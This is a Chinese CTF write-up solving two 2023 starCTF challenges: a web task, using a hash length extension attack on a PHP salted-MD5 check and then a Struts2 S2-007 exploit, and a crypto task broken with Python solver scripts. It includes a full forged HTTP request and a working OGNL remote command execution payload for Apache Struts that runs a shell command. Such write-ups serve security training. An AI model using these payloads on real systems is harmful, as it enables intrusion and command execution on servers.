Bootstrap

【2023starCTF】jwt2structs与ezCrypto超详细讲解!

starCTF

web

jwt2struts

 <?php
highlight_file(__FILE__);
include "./secret_key.php";
include "./salt.php";
//$salt = XXXXXXXXXXXXXX // the salt include 14 characters
//md5($salt."adminroot")=e6ccbf12de9d33ec27a5bcfb6a3293df
@$username = urldecode($_POST["username"]);
@$password = urldecode($_POST["password"]);
if (!empty($_COOKIE["digest"])) {
    if ($username === "admin" && $password != "root") {
         if ($_COOKIE["digest"] === md5($salt.$username.$password)) {
            die ("The secret_key is ". $secret_key);
        }
        else {
            die ("Your cookies don't match up! STOP HACKING THIS SITE.");
        }
    }
    else {
        die ("no no no");
    }
}


Your cookies don't match up! STOP HACKING THIS SITE.

获得secret_key的路程:

salt+adminroot => md5

if ($_COOKIE["digest"] === md5($salt.$username.$password))

salt+adminrootafdqsfas

利用哈希长度扩展攻击

借助工具Hashpump

首先输入signature 就是题目中给出的md5:e6ccbf12de9d33ec27a5bcfb6a3293df

然后输入data 就是在进行强比较会拼接的root 同时需要生成password值不是root:root

然后输入keylength 在题目中说明salt是14位 并且确定拼接的admin是5位 后面是扩展 所以不计数 故为:19

后面add的数据随便输入就好了

image-20230730002945963

注意进行修改 \x替换成%

2eb365cacc12caf450a48da09de3c080
root%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b8%00%00%00%00%00%00%00asd
POST /JWT_key.php HTTP/1.1
Host: 140.210.223.216:55557
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://140.210.223.216:55557/JWT_key.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Origin: http://140.210.223.216:55557
Connection: close
Cookie: access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoyMDA2MjM5NTUzfQ.mDU-QzzP7cqBu9WFZf5ygYFIcCoj4Dbs4krvlaj4pxA
Cookie: digest=2eb365cacc12caf450a48da09de3c080
Upgrade-Insecure-Requests: 1

username=admin&password=root%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b8%00%00%00%00%00%00%00asd

#结果The secret_key is sk-he00lctf3r

JWT生成token

三部分组成:

image-20230729220809581

获得访问提示

image-20230729220827974

http://140.210.223.216:55557/admiiiiiiiiiiin/

网页源代码 获得提示:do you know struts2?

自然考虑到Struts S2-007复现

一般出现在表单提交中 远程命令执行payload如下:

'%20%2B%20(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('env').getInputStream()))%20%2B%20'

在白色的地方执行命令即可

注意:这个题目一开始ls /没有找到flag文件 所以考虑查看环境变量 直接env即可

成功获得flag:FLAG=flag{7r0m_jwt_t0_struts2}

crypto

ezCrypto

题目+分析:

import random
import string

#切片操作:将最后的6个字符去除
characters = string.printable[:-6]
#string模块中定义的字符串常量 包含0-9字符  作用:判断是否为数字
digits = string.digits
#string模块中定义的字符串常量 包含ascii字母  作用:判断是否为字母
ascii_letters = string.ascii_letters

#生成一个基于给定种子和原始字符串的随机字符串
def Ran_str(seed : int, origin: str):
    random.seed(seed)
    random_sequence = random.sample(origin, len(origin))
    return ''.join(random_sequence)


rseed = int(input())
assert rseed <= 1000 and rseed >= 0
#获得随机字符串
map_string1 = Ran_str(rseed, characters)
map_string2 = Ran_str(rseed * 2, characters)
map_string3 = Ran_str(rseed * 3, characters)


#索引9(包含)到倒数第1个字符(不包含)的子字符串
def util(flag):
    return flag[9: -1]
#查找指定字符c在map_string字符串中的索引位置
def util1(map_string: str, c):
    return map_string.index(c)
#将s和k字符串中的每一组对应字符逐个进行异或操作 然后拼接 
def str_xor(s: str, k: str):
    return ''.join(chr((ord(a)) ^ (ord(b))) for a, b in zip(s, k))

'''
主要函数!
下面函数的功能分析:
1、接收传入的字符串str参数s 和整形int参数index
2、将整形参数index作为种子,对字母与数字组成的字符串进行随机化处理
3、将传入的字符串s,与随机化后的map_str在整形参数index上的值进行异或处理
根据3以及返回值中对s在map_str中的位置索引值 可以大体推断 s的长队为1
'''
def mess_sTr(s : str, index : int):
    map_str = Ran_str(index, ascii_letters + digits)
    new_str = str_xor(s, map_str[index])
    
    if not characters.find(new_str) >= 0:
        new_str = "CrashOnYou??" + s
    
    return new_str, util1(map_str, s)
    
'''
主要函数!
下面函数的功能分析:
1、传入字符串flag 然后进行处理 分段 给到list类型的变量flag_list1
2、在循环中对长度为奇偶数的字符串处理 k表示当前索引值
3、对于奇数长度字符串 将字符串的每一个字符与index一同传入mess_sTr() 将返回的结果拼接 然后将首字符传入mess_sTr结果拼接 最后加上当前k的字符 放入到newlist1中
4、对于偶数长度字符串 只是在后面附加当前的k 转成字符串 然后加入到newlist2
'''
def crypto_phase1(flag):
    flag_list1 = util(flag).split('_')
    newlist1 = []
    newlist2 = []
    index = 1
    k = 0
    for i in flag_list1:
        if len(i) % 2 == 1:
            i1 = ""
            for j in range(len(i)):
                p, index = mess_sTr(i[j], index)
                i1 += p
           
            p, index = mess_sTr(i[0], index)
            i1 += p
            
            i1 += str(k)
            k += 1
            newlist1.append(i1)
        
        else:
            i += str(k)
            k += 1
            newlist2.append(i)
    
    return newlist1, newlist2
        
'''
主要函数!!!
对于下面两个模块功能相似:
1、获取map_string3在j上的索引值 将索引值传入map_string1或2 中 最后构成新的newlist
'''        
def crypto_phase2(list):
    newlist = []
    for i in list:
        str = ""
        for j in i:
            str += map_string1[util1(map_string3, j)]
           
        newlist.append(str)
    return newlist

def crypto_phase3(list):
    newlist = []
    for i in list:
        str = ""
        for j in i:
            str += map_string2[util1(map_string3, j)]
            
        newlist.append(str)
    return newlist

#输入的列表按照逆序拼接成字符串
def crypto_final(list):
    str=""
    for i in list[::-1]:
        str += i
    return str

if __name__ == '__main__':
    format="sixstars{XXX}"
    flag="Nothing normal will contribute to a crash. So when you find nothing, you find A Crashhhhhhhh!!! "   
    
    #对flag进行第一层加密 获得两个列表
    flaglist1, flaglist2 = crypto_phase1(flag)

    #对flag列表分别进行2,3层加密 最后将结果进行final加密 cipher已知
    cipher = crypto_final(crypto_phase3(crypto_phase2(flaglist1) + flaglist1) + crypto_phase2(crypto_phase3(flaglist2)))
    
    print("map_string2: " + map_string2)
    print("cipher: " + cipher)

out:

map_string2: \W93VnRHs<CU#GI!d^7;'Lyfo`qt68&Y=Pr(b)O2[|mc0z}BvKkh5~lJeXM-iNgaTZ]*4F?upw>A,[email protected]:_$E/%"+{1

#cipher = '&I1}ty~A:bR>)Q/;6:*6`1;bum?8i[LL*t`1;bum?8i[LL?Ia`1;bum?8i[LL72;xl:mvHF"z4_/DD+c:mvHF"z4_/DDzbZ:mvHF"z4_/DDr}vS?'

解题:

首先我们在断言语句中获得提示 就是rseed的范围 然后提示信息给出了map_string2的值 所以我们可以根据map_string2得出rseed的值 然后进而生成map_string1和3

exp:

import random
import string

#切片操作:将最后的6个字符去除
characters = string.printable[:-6]
#string模块中定义的字符串常量 包含0-9字符  作用:判断是否为数字
digits = string.digits
#string模块中定义的字符串常量 包含ascii字母  作用:判断是否为字母
ascii_letters = string.ascii_letters

#生成一个基于给定种子和原始字符串的随机字符串
def Ran_str(seed : int, origin: str):
    random.seed(seed)
    random_sequence = random.sample(origin, len(origin))
    return ''.join(random_sequence)


for rseed in range(0,1001):
    tmp = Ran_str(rseed*2,characters)
    if tmp == '\W93VnRHs<CU#GI!d^7;\'Lyfo`qt68&Y=Pr(b)O2[|mc0z}BvKkh5~lJeXM-iNgaTZ]*4F?upw>A,[email protected]:_$E/%"+{1' :
        print(rseed)
        map_string1 = Ran_str(rseed, characters)
        map_string2 = Ran_str(rseed * 2, characters)
        map_string3 = Ran_str(rseed * 3, characters)
        print('map_string1=',map_string1)
        print('map_string2=',map_string2)
        print('map_string3=',map_string3)
        break

out:

667
map_string1= d*T[RJDKkbZ>"Fs\&X}Q6:h7a{VUj#=Y1tLI~P^qBg9A.)Mz@frvGwn<ie,y|m;'3x54]8-p%W(oS!0lN`?2+H/_Euc$CO
map_string2= \W93VnRHs<CU#GI!d^7;'Lyfo`qt68&Y=Pr(b)O2[|mc0z}BvKkh5~lJeXM-iNgaTZ]*4F?upw>A,[email protected]:_$E/%"+{1
map_string3= .2K6b@/~5+=l<7wXj8TaJ?]Z,CMRkY&gG(}tsf)Du^OUx-qdQNiyV$01L["moA*3P'IF#pnhe`\;v>H:z%!c{|WEBS94_r

关于cipher

    cipher = crypto_final(crypto_phase3(crypto_phase2(flaglist1) + flaglist1) + crypto_phase2(crypto_phase3(flaglist2)))

对flaglist1进行phase2加密得到新的列表 后面跟上flaglist1列表 然后进行phase3加密 然后在后面加上经过phase3和phase2加密的flaglist2

接下来去破解flaglist1 因为有两组flaglist1在cipher中 我们需要对这两组flaglist1进行解密还原 然后比较这两个还原的结果是否相同 如果相同则认为是flaglist1中的字符

附图:

在最后翻转之后 前面两组flaglist1加密的结果到后面去了所以从最后开始遍历

cipher = '&I1}ty~A:bR>)Q/;6:*6`1;bum?8i[LL*t`1;bum?8i[LL?Ia`1;bum?8i[LL72;xl:mvHF"z4_/DD+c:mvHF"z4_/DDzbZ:mvHF"z4_/DDr}vS?'

i1_ori = len(cipher) - 1  #最后一个字符?
i2_ori = len(cipher) - 2  #倒数第二个字符S

i1 = i1_ori
i2 = i2_ori
str = ""
while True:
    #p1代表两层加密的flaglist1对应的解密结果
    p1 = map_string3[util1(map_string1,map_string3[util1(map_string2,cipher[i1])])]
    #p2代表一层加密的flaglist1对应的解密结果
    p2 = map_string3[util1(map_string2,cipher[i2])]

    #下面是一种查询相同字符串的算法
    #如果不相等 证明还没有找到flaglist1的起始位点所以p2要继续往前溯源推进
    if p1 != p2:
        i1 = i1_ori
        i2_ori -= 1
        i2 = i2_ori
        continue
    #如果相等 可能是找到flaglist1的头了 但是不能排除也有可能是其中重复的数字呀 所以要在此基础上同时往下推进一个进行判断
    elif p1 == p2:
        str += p1
        if i1 - 1 == i2_ori:
            break
        else:
            i1 -= 1
            i2 -= 1
            continue


print('flaglist1:',str[::-1])
print(i1)
print(i2)
print(cipher[i1:])
print(len(cipher[i1:]))
print(cipher[:20])
print(len(cipher[:20]))

out:

flaglist1: CrashOnYou??FRCrashOnYou??nw3CrashOnYou??TDa>0
66
20
:mvHF"z4_/DD+c:mvHF"z4_/DDzbZ:mvHF"z4_/DDr}vS?
46
#crypto_phase2(crypto_phase3(flaglist2))
&I1}ty~A:bR>)Q/;6:*6
20

然后获得flaglist2:

cipherflaglist2 = '&I1}ty~A:bR>)Q/;6:*6'
flaglist2 = ""
# cipherflaglist2 = cipherflaglist2[::-1]
print(len(cipherflaglist2))
for i in range(20):
    #从外到内 目前是mapstring1里面的某个是我们的密文
    index = util1(map_string1, cipherflaglist2[i])
    #还原cp2 即temp = cp3(flaglist2)
    temp = map_string3[index]
    index2 = util1(map_string2,temp)
    p2 = map_string3[index2]
    # p2 = map_string3[util1(map_string2, cipherflaglist2[i])]
    flaglist2 += p2

print(flaglist2)

out:

cR7PtO5ln4s0m32F1nD1

到此

现在我们把连接flag的最后一道桥梁连过来

def crypto_phase1(flag):
    flag_list1 = util(flag).split('_')
    newlist1 = []
    newlist2 = []
    index = 1
    k = 0
    for i in flag_list1:
        if len(i) % 2 == 1:
            i1 = ""
            for j in range(len(i)):
                p, index = mess_sTr(i[j], index)
                i1 += p
           
            p, index = mess_sTr(i[0], index)
            i1 += p
            
            i1 += str(k)
            k += 1
            newlist1.append(i1)
        
        else:
            i += str(k)
            k += 1
            newlist2.append(i)
    
    return newlist1, newlist2
        

我们可以看到会在每一段后面拼接数字索引 并且是顺序型

所以尾部的0和1一定是正常的索引

flaglist1:CrashOnYou??FRCrashOnYou??nw3 CrashOnYou??TDa>0

flaglist2:cR7PtO5ln4s0m32 F1nD1

分析flaglist2 因为尾部的1一定是索引 所以前面的1一定不是 然后在flaglist1中仅存在0和3 所以推测flaglist2中的下一个索引是2 到此对于flaglist2的拆分有两种情况

flaglist2:cR7PtO5ln4 s0m32 F1nD1 (索引1、2、4)

flaglist2:cR7PtO5ln4s0m32 F1nD1 (索引1、2)

然后对flaglist1进行分析

index = 1
for i in flag_list1:
        if len(i) % 2 == 1:
            i1 = ""
            for j in range(len(i)):
                p, index = mess_sTr(i[j], index)
                i1 += p
           
            p, index = mess_sTr(i[0], index)
            i1 += p
            
            i1 += str(k)
            k += 1
            newlist1.append(i1)
'''
主要函数!
下面函数的功能分析:
1、接收传入的字符串str参数s 和整形int参数index
2、将整形参数index作为种子,对字母与数字组成的字符串进行随机化处理
3、将传入的字符串s,与随机化后的map_str在整形参数index上的值进行异或处理
根据3以及返回值中对s在map_str中的位置索引值 可以大体推断 s的长队为1
'''
def mess_sTr(s : str, index : int):
    map_str = Ran_str(index, ascii_letters + digits)
    new_str = str_xor(s, map_str[index])
    
    if not characters.find(new_str) >= 0:
        #表示只要出现Crash这个字符串字眼 后面拼接的那个字符一定是flag中的字符
        new_str = "CrashOnYou??" + s
    
    return new_str, util1(map_str, s)

flaglist1:CrashOnYou??F R CrashOnYou??n w3 CrashOnYou??T Da>0

这个可以确定FxnF是第三个 TxxT 是第0个 其中x表示未知

首先对第0位进行爆破

通过对T字符的锁定 得出下一个index是38

知道下一个的加密结果是D 然后异或可逆

map_str = Ran_str(38, ascii_letters + digits)
new_str = str_xor('D', map_str[index])
print(new_str)
#r

通过对r字符的锁定 得出下一个index是18

map_str = Ran_str(18, ascii_letters + digits)
new_str = str_xor('a', map_str[index])
print(new_str)
#Y

最后一个是首字符:可以直接写T 也可以验证一下 主要目的是对index进行操作

通过对Y字符的锁定 得出下一个index是52

map_str = Ran_str(52, ascii_letters + digits)
new_str = str_xor('>', map_str[index])
print(new_str)
#T

然后继续往下推

注意要对index进行对首字符T的操作

p,index = mess_sTr('T',index)
print(index)

锁定F 得出下一个index是35

map_str = Ran_str(35, ascii_letters + digits)
new_str = str_xor('R', map_str[index])
print(new_str)
#4

到此复原完成

flaglist1:F4n 3 TrY 0

flaglist2:cR7PtO5ln 4 s0m3 2 F1nD 1 (索引1、2、4)

flaglist2:cR7PtO5ln4s0m3 2 F1nD 1 (索引1、2)

根据_的分段进行手工拼接

flag:sixstars{TrY_F1nD_s0m3_F4n_cR7PtO5ln}

或者:sixstars{TrY_F1nD_cR7PtO5ln4s0m3_F4n}

保留测试代码:

import random
import string

#切片操作:将最后的6个字符去除
characters = string.printable[:-6]
#string模块中定义的字符串常量 包含0-9字符  作用:判断是否为数字
digits = string.digits
#string模块中定义的字符串常量 包含ascii字母  作用:判断是否为字母
ascii_letters = string.ascii_letters

#生成一个基于给定种子和原始字符串的随机字符串
def Ran_str(seed : int, origin: str):
    random.seed(seed)
    random_sequence = random.sample(origin, len(origin))
    return ''.join(random_sequence)


for rseed in range(0,1001):
    tmp = Ran_str(rseed*2,characters)
    if tmp == '\W93VnRHs<CU#GI!d^7;\'Lyfo`qt68&Y=Pr(b)O2[|mc0z}BvKkh5~lJeXM-iNgaTZ]*4F?upw>A,[email protected]:_$E/%"+{1' :
        print(rseed)
        map_string1 = Ran_str(rseed, characters)
        map_string2 = Ran_str(rseed * 2, characters)
        map_string3 = Ran_str(rseed * 3, characters)
        print('map_string1=',map_string1)
        print('map_string2=',map_string2)
        print('map_string3=',map_string3)
        break

#输入的列表按照逆序拼接成字符串
def crypto_final(list):
    str=""
    for i in list[::-1]:
        str += i
    return str

def util1(map_string: str, c):
    return map_string.index(c)

cipher = '&I1}ty~A:bR>)Q/;6:*6`1;bum?8i[LL*t`1;bum?8i[LL?Ia`1;bum?8i[LL72;xl:mvHF"z4_/DD+c:mvHF"z4_/DDzbZ:mvHF"z4_/DDr}vS?'

i1_ori = len(cipher) - 1  #最后一个字符?
i2_ori = len(cipher) - 2  #倒数第二个字符S

i1 = i1_ori
i2 = i2_ori
str = ""
while True:
    #p1代表两层加密的flaglist1对应的解密结果
    p1 = map_string3[util1(map_string1,map_string3[util1(map_string2,cipher[i1])])]
    #p2代表一层加密的flaglist1对应的解密结果
    p2 = map_string3[util1(map_string2,cipher[i2])]

    #下面是一种查询相同字符串的算法
    #如果不相等 证明还没有找到flaglist1的起始位点所以p2要继续往前溯源推进
    if p1 != p2:
        i1 = i1_ori
        i2_ori -= 1
        i2 = i2_ori
        continue
    #如果相等 可能是找到flaglist1的头了 但是不能排除也有可能是其中重复的数字呀 所以要在此基础上同时往下推进一个进行判断
    elif p1 == p2:
        str += p1
        if i1 - 1 == i2_ori:
            break
        else:
            i1 -= 1
            i2 -= 1
            continue


print('flaglist1:',str[::-1])
print(i1)
print(i2)
print(cipher[i1:])
print(len(cipher[i1:]))
print(cipher[:20])
print(len(cipher[:20]))


cipherflaglist2 = '&I1}ty~A:bR>)Q/;6:*6'
flaglist2 = ""
# cipherflaglist2 = cipherflaglist2[::-1]
print(len(cipherflaglist2))
for i in range(20):
    #从外到内 目前是mapstring1里面的某个是我们的密文
    index = util1(map_string1, cipherflaglist2[i])
    #还原cp2 即temp = cp3(flaglist2)
    temp = map_string3[index]
    index2 = util1(map_string2,temp)
    p2 = map_string3[index2]
    # p2 = map_string3[util1(map_string2, cipherflaglist2[i])]
    flaglist2 += p2

print(flaglist2)

def str_xor(s: str, k: str):
    return ''.join(chr((ord(a)) ^ (ord(b))) for a, b in zip(s, k))

def mess_sTr(s: str, index: int):
    map_str = Ran_str(index, ascii_letters + digits)
    new_str = str_xor(s, map_str[index])

    if not characters.find(new_str) >= 0:
        # 表示只要出现Crash这个字符串字眼 后面拼接的那个字符一定是flag中的字符
        new_str = "CrashOnYou??" + s

    return new_str, util1(map_str, s)

index = 1

p,index = mess_sTr('T',index)
print(index)
# a = ['asd','bnm','cve']
# b = ['157','246','389']
# print(a+b)
# cipher = crypto_final(a+b)
# print(cipher)

map_str = Ran_str(38, ascii_letters + digits)
new_str = str_xor('D', map_str[index])
print(new_str)

p,index = mess_sTr('r',index)
print(index)

map_str = Ran_str(18, ascii_letters + digits)
new_str = str_xor('a', map_str[index])
print(new_str)

p,index = mess_sTr('Y',index)
print(index)

map_str = Ran_str(52, ascii_letters + digits)
new_str = str_xor('>', map_str[index])
print(new_str)

p,index = mess_sTr('T',index)
print(index)

p,index = mess_sTr('F',index)
print(index)

map_str = Ran_str(35, ascii_letters + digits)
new_str = str_xor('R', map_str[index])
print(new_str)

以上题目均可在攻防世界复现
参考文档:官方wp

我是哈皮,祝您每天嗨皮!我们下期再见~

;